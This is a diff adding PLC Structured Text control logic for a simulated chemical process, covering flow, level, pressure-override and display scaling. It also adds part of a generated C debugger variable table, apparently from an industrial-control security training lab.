0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), 